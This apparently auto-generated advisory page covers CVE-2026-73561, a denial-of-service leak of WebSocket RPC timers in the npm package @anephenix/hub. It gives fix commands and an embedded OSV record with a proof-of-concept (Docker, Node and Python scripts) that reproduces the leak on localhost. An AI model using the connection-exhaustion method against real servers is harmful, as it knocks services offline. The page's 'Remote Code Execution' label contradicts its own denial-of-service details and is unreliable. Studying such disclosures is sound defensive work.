CVE-2026-73561: @anephenix/hub Remote Code Execution Vulnerability
HIGHCVE-2026-73561 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @anephenix/hub libraries in the npm ecosystem. The issue involves unauthenticated websocket rpc waiter resource exhaustion. Remediation is available by upgrading affected packages to version 0.2.16.
CVE-2026-73561 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-73561
To remediate this vulnerability, upgrade all affected @anephenix/hub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @anephenix/hub@0.2.16
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @anephenix/hub
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-73561, inspect your project dependencies using npm:
npm ls @anephenix/hub
Analyze the terminal output to locate any version of @anephenix/hub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.16), your application is affected.
Note: The npm ls @anephenix/hub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @anephenix/hub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-73561 Affected @anephenix/hub Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@anephenix/hub
|
npm |
< 0.2.16
|
0.2.16
|
References
Frequently Asked Questions
What is CVE-2026-73561?
Which @anephenix/hub versions are affected?
What version fixes CVE-2026-73561?
Is @anephenix/hub affected?
What is the CVSS score of CVE-2026-73561?
What CWE is associated with CVE-2026-73561?
How can I check npm dependencies for CVE-2026-73561?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g5vv-q72c-7j78",
"modified" : "2026-08-13T17:24:41Z",
"published" : "2026-07-24T21:47:29Z",
"aliases" : [ "CVE-2026-73561" ],
"summary" : "@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion",
"details" : "### Summary\n\n`@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).\n\n### Details\n\nWhen a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`.\n\nInside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`):\n\n```ts\n// src/lib/rpc.ts:250–267\ninterval = setInterval(() => {\n const response = responses.find(\n (r) => r.id === id && r.action === action,\n );\n if (response) {\n if (interval) clearInterval(interval);\n // ... resolve and cleanup\n this.cleanupRPCCall(response);\n }\n}, 10);\n```\n\n`clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128–134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket.\n\n**Data flow (source → sink):**\n\n1. `src/lib/index.ts:269` — `wss.on(\"connection\")` accepts any remote WebSocket (no authentication).\n2. `src/lib/index.ts:272` — connection listeners are iterated and invoked.\n3. `src/lib/index.ts:262` — `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default.\n4. `src/lib/clientId.ts:112` — `rpc.send({ ws, action: 'get-client-id' })` creates an RPC request.\n5. `src/lib/rpc.ts:282` — `this.requests.push(payload)` registers the pending request.\n6. `src/lib/rpc.ts:250` — `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.\n\n### PoC\n\n**Prerequisites:** Docker must be available on the host.\n\n**Step 1 — Build the verification image:**\n\n```bash\ndocker build --no-cache \\\n -f vuln-001/Dockerfile \\\n -t hub-vuln-001:latest \\\n reports/npm_web_272_anephenix__hub\n```\n\n**Step 2 — Run the container:**\n\n```bash\ndocker run --rm --network none hub-vuln-001:latest\n```\n\nThe container runs `verify.mjs`, which:\n1. Starts a `Hub` server on a local port.\n2. Opens a WebSocket and waits for the server's `get-client-id` RPC message without replying.\n3. Closes the socket and waits 300 ms.\n4. Inspects `hub.rpc.requests.length` — it must remain `1` even though `hub.wss.clients.size` is `0`.\n5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`.\n\n**Step 3 — Alternatively, run the Python orchestrator directly:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\n**Expected output (confirmed):**\n\n```json\n{\n \"snapshotAfterClose\": {\"clientState\": 3, \"serverClients\": 0, \"pendingRpcRequests\": 1},\n \"snapshotAfterBatch\": {\"serverClients\": 0, \"pendingRpcRequests\": 6, \"expectedPendingRpcRequests\": 6}\n}\n```\n\n`pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.\n\n**Minimal inline reproduction** (without Docker, inside the repository after `npm ci && npm run build`):\n\n```bash\nnode --input-type=module - <<'EOF'\nimport Hub from './dist/esm/index.js';\nimport { WebSocket } from 'ws';\n\nconst port = 8766;\nconst hub = new Hub({ port });\nhub.listen();\nconst ws = new WebSocket(`ws://localhost:${port}`);\n\nawait new Promise((resolve) => ws.once('message', resolve));\nws.close();\nawait new Promise((resolve) => setTimeout(resolve, 300));\nconsole.log(JSON.stringify({\n serverClients: hub.wss.clients.size,\n pendingRpcRequests: hub.rpc.requests.length,\n}));\nhub.server.close();\nprocess.exit(0);\nEOF\n```\n\nExpected:\n\n```json\n{\"serverClients\": 0, \"pendingRpcRequests\": 1}\n```\n\n### Impact\n\nThis is an **unauthenticated Denial-of-Service** vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.\n\nNo authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket `connect` followed by silence is sufficient.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-alpine\n\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Install dependencies first for layer caching\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --ignore-scripts\n\n# Copy the rest of the source and build\nCOPY repo/ ./\nRUN npm run build\n\n# Copy the vulnerability verification script into /app so node_modules is resolvable\nCOPY vuln-001/verify.mjs /app/verify.mjs\n\nCMD [\"node\", \"/app/verify.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion\n(@anephenix/hub v0.2.15)\n\nBuilds a Docker image containing the hub library and a verification script,\nthen runs the container to produce deterministic evidence that\nhub.rpc.requests[] entries (and their backing setInterval timers) are never\ncleaned up when a WebSocket client disconnects without replying to the\nserver's \"get-client-id\" RPC request.\n\nUsage:\n python3 poc.py\n\nExit codes:\n 0 — vulnerability confirmed (PASS)\n 1 — not reproduced (FAIL)\n 2 — environment / build error\n\"\"\"\n\nimport json\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT = SCRIPT_DIR.parent # …/npm_web_272_anephenix__hub/\nDOCKERFILE = SCRIPT_DIR / \"Dockerfile\"\nPOC_TAG = \"hub-vuln-001:latest\"\n\nBUILD_CMD = [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-f\", str(DOCKERFILE),\n \"-t\", POC_TAG,\n str(REPO_ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve\n]\n\nRUN_CMD = [\n \"docker\", \"run\",\n \"--rm\",\n \"--network\", \"none\", # no external network access needed\n POC_TAG,\n]\n\n\ndef banner(msg: str) -> None:\n print(f\"\\n{'='*60}\\n {msg}\\n{'='*60}\")\n\n\ndef run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:\n print(\"$\", \" \".join(cmd))\n return subprocess.run(cmd, **kwargs)\n\n\ndef build_image() -> None:\n banner(\"Phase 1 — Building Docker image\")\n result = run(BUILD_CMD, capture_output=False)\n if result.returncode != 0:\n print(\"[ERROR] Docker build failed.\", file=sys.stderr)\n sys.exit(2)\n print(\"[OK] Image built:\", POC_TAG)\n\n\ndef run_poc() -> dict:\n banner(\"Phase 2 — Running vulnerability verification inside container\")\n result = run(RUN_CMD, capture_output=True, text=True)\n\n print(\"--- container stdout ---\")\n print(result.stdout)\n if result.stderr:\n print(\"--- container stderr ---\")\n print(result.stderr)\n\n # The container exits 0 on confirmed leak, 1 otherwise.\n if result.returncode == 2:\n print(\"[ERROR] Verification script crashed.\", file=sys.stderr)\n sys.exit(2)\n\n try:\n data = json.loads(result.stdout)\n except json.JSONDecodeError as exc:\n print(f\"[ERROR] Could not parse container output as JSON: {exc}\", file=sys.stderr)\n sys.exit(2)\n\n return data, result.returncode\n\n\ndef evaluate(data: dict, container_exit: int) -> tuple[bool, str]:\n \"\"\"Return (passed, evidence_summary).\"\"\"\n after_close = data.get(\"snapshotAfterClose\", {})\n after_batch = data.get(\"snapshotAfterBatch\", {})\n\n leaked_single = (\n after_close.get(\"pendingRpcRequests\", 0) > 0 and\n after_close.get(\"serverClients\", -1) == 0 and\n after_close.get(\"clientState\", -1) == 3 # WebSocket.CLOSED\n )\n\n leaked_batch = (\n after_batch.get(\"pendingRpcRequests\", 0) ==\n after_batch.get(\"expectedPendingRpcRequests\", -1)\n )\n\n passed = leaked_single and leaked_batch and container_exit == 0\n\n evidence = (\n f\"snapshotAfterClose={json.dumps(after_close)}; \"\n f\"snapshotAfterBatch={json.dumps(after_batch)}; \"\n f\"container_exit={container_exit}\"\n )\n return passed, evidence\n\n\ndef main() -> None:\n build_image()\n data, container_exit = run_poc()\n\n banner(\"Phase 3 — Evaluating results\")\n passed, evidence = evaluate(data, container_exit)\n\n if passed:\n print(\"[PASS] Leak confirmed: RPC waiter entries persist after socket close.\")\n else:\n print(\"[FAIL] Leak NOT observed — check container output above.\")\n\n return passed, evidence, data\n\n\nif __name__ == \"__main__\":\n passed, evidence, raw = main()\n\n verdict = \"PASS\" if passed else \"FAIL\"\n reason = (\n \"소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 \"\n \"런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, \"\n \"배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨.\"\n if passed else\n \"컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음.\"\n )\n\n result_path = SCRIPT_DIR / \"phase2_result.json\"\n phase2 = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": \" \".join(BUILD_CMD),\n \"run_command\": \" \".join(RUN_CMD),\n \"poc_command\": f\"python3 {Path(__file__).name}\",\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"verify.mjs\", \"poc.py\"],\n }\n\n result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))\n print(f\"\\n[INFO] Results written to {result_path}\")\n\n sys.exit(0 if passed else 1)\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@anephenix/hub"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.2.16"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/anephenix/hub/security/advisories/GHSA-g5vv-q72c-7j78"
}, {
"type" : "WEB",
"url" : "https://github.com/anephenix/hub/commit/67260d2a1407a77f082f02dc9e1f0891222c306d"
}, {
"type" : "WEB",
"url" : "https://github.com/anephenix/hub/commit/931576db3cdbf4f1583bd2c3c8759c4f4e032ab3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/anephenix/hub"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T21:47:29Z",
"nvd_published_at" : null
}
}